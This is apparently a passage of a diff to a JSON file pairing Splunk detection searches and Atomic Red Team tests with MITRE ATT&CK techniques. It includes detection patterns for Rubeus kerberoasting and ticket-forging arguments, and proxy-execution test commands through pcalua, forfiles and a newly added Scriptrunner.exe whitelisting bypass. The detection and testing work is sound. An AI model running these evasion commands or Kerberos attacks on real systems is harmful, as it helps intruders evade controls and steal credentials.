'windbg.exe'. This behavior is significant as it may indicate an attempt to debug or tamper with system processes, which is uncommon in typical user activity and could signify malicious intent. If confirmed malicious, this activity could allow an attacker to manipulate or inspect running processes, potentially leading to privilege escalation or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=msiexec.exe Processes.process_name=windbg.exe by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process_path Processes.parent_process Processes.process_name Processes.process_path Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_msiexec_spawn_windbg_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.007", - "mitre_attack_technique": "Msiexec", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Machete", - "Molerats", - "Rancor", - "TA505", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows MSIExec Unregister DLLRegisterServer", - "description": "The following analytic detects the use of msiexec.exe with the /z switch parameter, which is used to unload DLLRegisterServer. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs, including command-line arguments. This activity is significant because unloading DLLRegisterServer can be indicative of an attempt to deregister a DLL, potentially disrupting legitimate services or hiding malicious activity. If confirmed malicious, this could allow an attacker to disable security controls, evade detection, or disrupt system functionality, leading to further compromise of the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_msiexec` Processes.process IN (\"*/z*\", \"*-z*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_msiexec_unregister_dllregisterserver_filter`", - "tags": { - "analytic_story": [ - "Windows System Binary Proxy Execution MSIExec" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to unregister a file.", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.007", - "mitre_attack_technique": "Msiexec", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Machete", - "Molerats", - "Rancor", - "TA505", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows MSIExec With Network Connections", - "description": "The following analytic detects MSIExec making network connections over ports 443 or 80. This behavior is identified by correlating process creation events from Endpoint Detection and Response (EDR) agents with network traffic logs. Typically, MSIExec does not perform network communication to the internet, making this activity unusual and potentially indicative of malicious behavior. If confirmed malicious, an attacker could be using MSIExec to download or communicate with external servers, potentially leading to data exfiltration, command and control (C2) communication, or further malware deployment.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where `process_msiexec` by _time Processes.user Processes.process_id Processes.process_name Processes.dest Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | join process_id [| tstats `security_content_summariesonly` count FROM datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port IN (\"80\",\"443\") by All_Traffic.process_id All_Traffic.dest All_Traffic.dest_port All_Traffic.dest_ip | `drop_dm_object_name(All_Traffic)` ] | table _time user dest parent_process_name process_name process_path process process_id dest_port dest_ip | `windows_msiexec_with_network_connections_filter`", - "tags": { - "analytic_story": [ - "Windows System Binary Proxy Execution MSIExec" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ contacting a remote destination $dest_ip$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.007", - "mitre_attack_technique": "Msiexec", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Machete", - "Molerats", - "Rancor", - "TA505", - "ZIRCONIUM" - ] - } - ] - } } ], "external_reference": [ @@ -236864,59 +179821,6 @@ "source_data_element": "network traffic flow", "relationship": "identified", "target_data_element": "network traffic volume" - }, - { - "name": "Large Volume of DNS ANY Queries", - "description": "The following analytic identifies a large volume of DNS ANY queries, which may indicate a DNS amplification attack. It leverages the Network_Resolution data model to count DNS queries of type \"ANY\" directed to specific destinations. This activity is significant because DNS amplification attacks can overwhelm network resources, leading to Denial of Service (DoS) conditions. If confirmed malicious, this activity could disrupt services, degrade network performance, and potentially be part of a larger Distributed Denial of Service (DDoS) attack, impacting the availability of critical infrastructure.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Network_Resolution where nodename=DNS \"DNS.message_type\"=\"QUERY\" \"DNS.record_type\"=\"ANY\" by \"DNS.dest\" | `drop_dm_object_name(\"DNS\")` | where count>200 | `large_volume_of_dns_any_queries_filter`", - "tags": { - "analytic_story": [ - "DNS Amplification Attacks" - ], - "asset_type": "DNS Servers", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1498", - "mitre_attack_technique": "Network Denial of Service", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1498.002", - "mitre_attack_technique": "Reflection Amplification", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [], @@ -241455,311 +184359,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/ad-ds-getting-started" ] - }, - { - "name": "Disabled Kerberos Pre-Authentication Discovery With Get-ADUser", - "description": "The following analytic detects the execution of the `Get-ADUser` PowerShell cmdlet with parameters indicating a search for domain accounts with Kerberos Pre-Authentication disabled. It leverages PowerShell Script Block Logging (EventCode=4104) to identify this specific activity. This behavior is significant because discovering accounts with Kerberos Pre-Authentication disabled can allow adversaries to perform offline password cracking. If confirmed malicious, this activity could lead to unauthorized access to user accounts, potentially compromising sensitive information and escalating privileges within the network.", - "search": " `powershell` EventCode=4104 (ScriptBlockText = \"*Get-ADUser*\" AND ScriptBlockText=\"*4194304*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | `security_content_ctime(firstTime)` | `disabled_kerberos_pre_authentication_discovery_with_get_aduser_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Disabled Kerberos Pre-Authentication Discovery With Get-ADUser from $dest$", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.004", - "mitre_attack_technique": "AS-REP Roasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Disabled Kerberos Pre-Authentication Discovery With PowerView", - "description": "The following analytic detects the execution of the `Get-DomainUser` commandlet with the `-PreauthNotRequired` parameter using PowerShell Script Block Logging (EventCode=4104). This command is part of PowerView, a tool used for enumerating Windows Active Directory networks. Identifying domain accounts with Kerberos Pre-Authentication disabled is significant because adversaries can leverage this information to attempt offline password cracking. If confirmed malicious, this activity could lead to unauthorized access to domain accounts, potentially compromising sensitive information and escalating privileges within the network.", - "search": " `powershell` EventCode=4104 (ScriptBlockText = \"*Get-DomainUser*\" AND ScriptBlockText=\"*PreauthNotRequired*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | `security_content_ctime(firstTime)` | `disabled_kerberos_pre_authentication_discovery_with_powerview_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Disabled Kerberos Pre-Authentication Discovery With PowerView from $dest$", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.004", - "mitre_attack_technique": "AS-REP Roasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Kerberos Pre-Authentication Flag Disabled in UserAccountControl", - "description": "The following analytic detects when the Kerberos Pre-Authentication flag is disabled in a user account, using Windows Security Event 4738. This event indicates a change in the UserAccountControl property of a domain user object. Disabling this flag allows adversaries to perform offline brute force attacks on the user's password using the AS-REP Roasting technique. This activity is significant as it can be used by attackers with existing privileges to escalate their access or maintain persistence. If confirmed malicious, this could lead to unauthorized access and potential compromise of sensitive information.", - "search": " `wineventlog_security` EventCode=4738 MSADChangedAttributes=\"*Don't Require Preauth' - Enabled*\" |rename Account_Name as user | table EventCode, user, dest, Security_ID, MSADChangedAttributes | `kerberos_pre_authentication_flag_disabled_in_useraccountcontrol_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User Name", - "role": [ - "Victim" - ] - } - ], - "message": "Kerberos Pre Authentication was Disabled for $user$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.004", - "mitre_attack_technique": "AS-REP Roasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Kerberos Pre-Authentication Flag Disabled with PowerShell", - "description": "The following analytic detects the use of the `Set-ADAccountControl` PowerShell cmdlet with parameters that disable Kerberos Pre-Authentication. It leverages PowerShell Script Block Logging (EventCode=4104) to identify this specific command execution. Disabling Kerberos Pre-Authentication is significant because it allows adversaries to perform offline brute force attacks against user passwords using the AS-REP Roasting technique. If confirmed malicious, this activity could enable attackers to escalate privileges or maintain persistence within an Active Directory environment, posing a severe security risk.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Set-ADAccountControl*\" AND ScriptBlockText=\"*DoesNotRequirePreAuth:$true*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `kerberos_pre_authentication_flag_disabled_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Kerberos Pre Authentication was Disabled using PowerShell on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.004", - "mitre_attack_technique": "AS-REP Roasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Rubeus Command Line Parameters", - "description": "The following analytic detects the use of Rubeus command line parameters, a toolset for Kerberos attacks within Active Directory environments. It leverages Endpoint Detection and Response (EDR) data to identify specific command-line arguments associated with actions like ticket manipulation, kerberoasting, and password spraying. This activity is significant as Rubeus is commonly used by adversaries to exploit Kerberos for privilege escalation and lateral movement. If confirmed malicious, this could lead to unauthorized access, persistence, and potential compromise of sensitive information within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process = \"*ptt /ticket*\" OR Processes.process = \"* monitor /interval*\" OR Processes.process =\"* asktgt* /user:*\" OR Processes.process =\"* asktgs* /service:*\" OR Processes.process =\"* golden* /user:*\" OR Processes.process =\"* silver* /service:*\" OR Processes.process =\"* kerberoast*\" OR Processes.process =\"* asreproast*\" OR Processes.process = \"* renew* /ticket:*\" OR Processes.process = \"* brute* /password:*\" OR Processes.process = \"* brute* /passwords:*\" OR Processes.process =\"* harvest*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rubeus_command_line_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Privilege Escalation", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "Rubeus command line parameters were used on $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1550", - "mitre_attack_technique": "Use Alternate Authentication Material", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1550.003", - "mitre_attack_technique": "Pass the Ticket", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "BRONZE BUTLER" - ] - }, - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.003", - "mitre_attack_technique": "Kerberoasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "FIN7", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1558.004", - "mitre_attack_technique": "AS-REP Roasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -243027,6 +185626,7 @@ "pcalua.exe -a calc.exe\npcalua.exe -a C:\\Windows\\System32\\calc.exe\n", "forfiles /p c:\\windows\\system32 /m notepad.exe /c calc.exe\n", "conhost.exe \"notepad.exe\"\n", + "Scriptrunner.exe -appvscript \"C:\\Windows\\System32\\calc.exe\"", "pcalua.exe" ], "commands": [], @@ -243331,6 +185931,27 @@ "command": "conhost.exe \"#{process}\"\n", "name": "command_prompt" } + }, + { + "name": "Indirect Command Execution - Scriptrunner.exe", + "auto_generated_guid": "0fd14730-6226-4f5e-8d67-43c65f1be940", + "description": "The \"ScriptRunner.exe\" binary can be abused to proxy execution through it and bypass possible whitelisting. Upon test execution, calc.exe should open\nReference: https://x.com/NickTyrer/status/914234924655312896", + "supported_platforms": [ + "windows" + ], + "input_arguments": { + "payload_path": { + "description": "Path to the executable", + "type": "String", + "default": "C:\\Windows\\System32\\calc.exe" + } + }, + "executor": { + "command": "Scriptrunner.exe -appvscript \"#{payload_path}\"", + "cleanup_command": null, + "name": "powershell", + "elevation_required": false + } } ] } @@ -243626,205 +186247,7 @@ "Event ID": null, "Event Name": "Windows event logs" } - ], - { - "name": "Splunk risky Command Abuse disclosed february 2023", - "description": "The following analytic identifies the execution of high-risk commands associated with various Splunk vulnerability disclosures. It leverages the Splunk_Audit.Search_Activity datamodel to detect ad-hoc searches by non-system users that match known risky commands. This activity is significant for a SOC as it may indicate attempts to exploit known vulnerabilities within Splunk, potentially leading to unauthorized access or data exfiltration. If confirmed malicious, this could allow attackers to execute arbitrary code, escalate privileges, or persist within the environment, posing a severe threat to the organization's security posture.", - "search": "| tstats fillnull_value=\"N/A\" count min(_time) as firstTime max(_time) as lastTime from datamodel=Splunk_Audit.Search_Activity where Search_Activity.search_type=adhoc Search_Activity.user!=splunk-system-user by Search_Activity.search Search_Activity.info Search_Activity.total_run_time Search_Activity.user Search_Activity.search_type | `drop_dm_object_name(Search_Activity)` | lookup splunk_risky_command splunk_risky_command as search output splunk_risky_command description vulnerable_versions CVE other_metadata | where splunk_risky_command != \"false\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `splunk_risky_command_abuse_disclosed_february_2023_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Splunk Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "splunk_risky_command", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "Use of risky splunk command $splunk_risky_command$ detected by $user$", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1202", - "mitre_attack_technique": "Indirect Command Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows Indirect Command Execution Via forfiles", - "description": "The following analytic detects the execution of programs initiated by forfiles.exe. This command is typically used to run commands on multiple files, often within batch scripts. The detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where forfiles.exe is the parent process. This activity is significant because forfiles.exe can be exploited to bypass command line execution protections, making it a potential vector for malicious activity. If confirmed malicious, this could allow attackers to execute arbitrary commands, potentially leading to unauthorized access or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process=\"*forfiles* /c *\" by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_path | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_indirect_command_execution_via_forfiles_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The forfiles command (forfiles.exe) launched the process name - $process_name$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1202", - "mitre_attack_technique": "Indirect Command Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows Indirect Command Execution Via pcalua", - "description": "The following analytic detects programs initiated by pcalua.exe, the Microsoft Windows Program Compatibility Assistant. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process information. While pcalua.exe can start legitimate programs, it is significant because attackers may use it to bypass command line execution protections. If confirmed malicious, this activity could allow attackers to execute arbitrary commands, potentially leading to unauthorized actions, privilege escalation, or persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process=\"*pcalua* -a*\" by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_path | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_indirect_command_execution_via_pcalua_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Program Compatability Assistant (pcalua.exe) launched the process $process_name$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1202", - "mitre_attack_technique": "Indirect Command Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - }, - { - "name": "Windows Indirect Command Execution Via Series Of Forfiles", - "description": "The following analytic detects excessive usage of the forfiles.exe process, which is often indicative of post-exploitation activities. The detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include process GUID, process name, and parent process. This activity is significant because forfiles.exe can be abused to execute commands on multiple files, a technique used by ransomware like Prestige. If confirmed malicious, this behavior could allow attackers to enumerate files, potentially leading to data exfiltration or further malicious actions.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.process_guid) as process_guid values(Processes.process_name) as process_name count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"forfiles.exe\" OR Processes.original_file_name = \"forfiles.exe\" by Processes.parent_process_name Processes.parent_process Processes.dest Processes.user _time span=1m | where count >=20 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_indirect_command_execution_via_series_of_forfiles_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "excessive forfiles process execution in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1202", - "mitre_attack_technique": "Indirect Command Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -244593,69 +187016,7 @@ "Event ID": null, "Event Name": "Data loss prevention" } - ], - { - "name": "Windows Replication Through Removable Media", - "description": "The following analytic detects the creation or dropping of executable or script files in the root directory of a removable drive. It leverages data from the Endpoint.Filesystem datamodel, focusing on specific file types and their creation paths. This activity is significant as it may indicate an attempt to spread malware, such as ransomware, via removable media. If confirmed malicious, this behavior could lead to unauthorized code execution, lateral movement, or persistence within the network, potentially compromising sensitive data and systems.", - "search": "|tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where (Filesystem.file_name = *.exe OR Filesystem.file_name = *.dll OR Filesystem.file_name = *.sys OR Filesystem.file_name = *.com OR Filesystem.file_name = *.vbs OR Filesystem.file_name = *.vbe OR Filesystem.file_name = *.js OR Filesystem.file_name= *.bat OR Filesystem.file_name = *.cmd OR Filesystem.file_name = *.pif) by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.user Filesystem.dest | `drop_dm_object_name(Filesystem)` | eval dropped_file_path = split(file_path, \"\\\\\") | eval dropped_file_path_split_count = mvcount(dropped_file_path) | eval root_drive = mvindex(dropped_file_path,0) | where LIKE(root_drive, \"%:\") AND dropped_file_path_split_count = 2 AND root_drive!= \"C:\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_replication_through_removable_media_filter`", - "tags": { - "analytic_story": [ - "Chaos Ransomware", - "NjRAT", - "PlugX" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "executable or script $file_path$ was dropped in root drive $root_drive$ in $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1091", - "mitre_attack_technique": "Replication Through Removable Media", - "mitre_attack_tactics": [ - "Initial Access", - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "Aoqin Dragon", - "Darkhotel", - "FIN7", - "LuminousMoth", - "Mustang Panda", - "Tropic Trooper" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -245159,96 +187520,7 @@ "Event ID": "5861", "Event Name": "WMI" } - ], - { - "name": "Sqlite Module In Temp Folder", - "description": "The following analytic detects the creation of sqlite3.dll files in the %temp% folder. It leverages Sysmon EventCode 11 to identify when these files are written to the temporary directory. This activity is significant because it is associated with IcedID malware, which uses the sqlite3 module to parse browser databases and steal sensitive information such as banking details, credit card information, and credentials. If confirmed malicious, this behavior could lead to significant data theft and compromise of user accounts.", - "search": "`sysmon` EventCode=11 (TargetFilename = \"*\\\\sqlite32.dll\" OR TargetFilename = \"*\\\\sqlite64.dll\") (TargetFilename = \"*\\\\temp\\\\*\") | stats count min(_time) as firstTime max(_time) as lastTime by dest signature signature_id process_name file_name file_path action process_guid| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `sqlite_module_in_temp_folder_filter`", - "tags": { - "analytic_story": [ - "IcedID" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "Process $process_name$ create a file $file_name$ in host $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1005", - "mitre_attack_technique": "Data from Local System", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT3", - "APT37", - "APT38", - "APT39", - "APT41", - "Andariel", - "Axiom", - "BRONZE BUTLER", - "CURIUM", - "Dark Caracal", - "Dragonfly", - "FIN13", - "FIN6", - "FIN7", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "Inception", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Sandworm Team", - "Stealth Falcon", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Windigo", - "Wizard Spider", - "menuPass" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -246381,104 +188653,7 @@ "Event ID": "4663", "Event Name": "File monitoring" } - ], - { - "name": "CertUtil With Decode Argument", - "description": "The following analytic detects the use of CertUtil.exe with the 'decode' argument, which may indicate an attempt to decode a previously encoded file, potentially containing malicious payloads. This detection leverages data from Endpoint Detection and Response 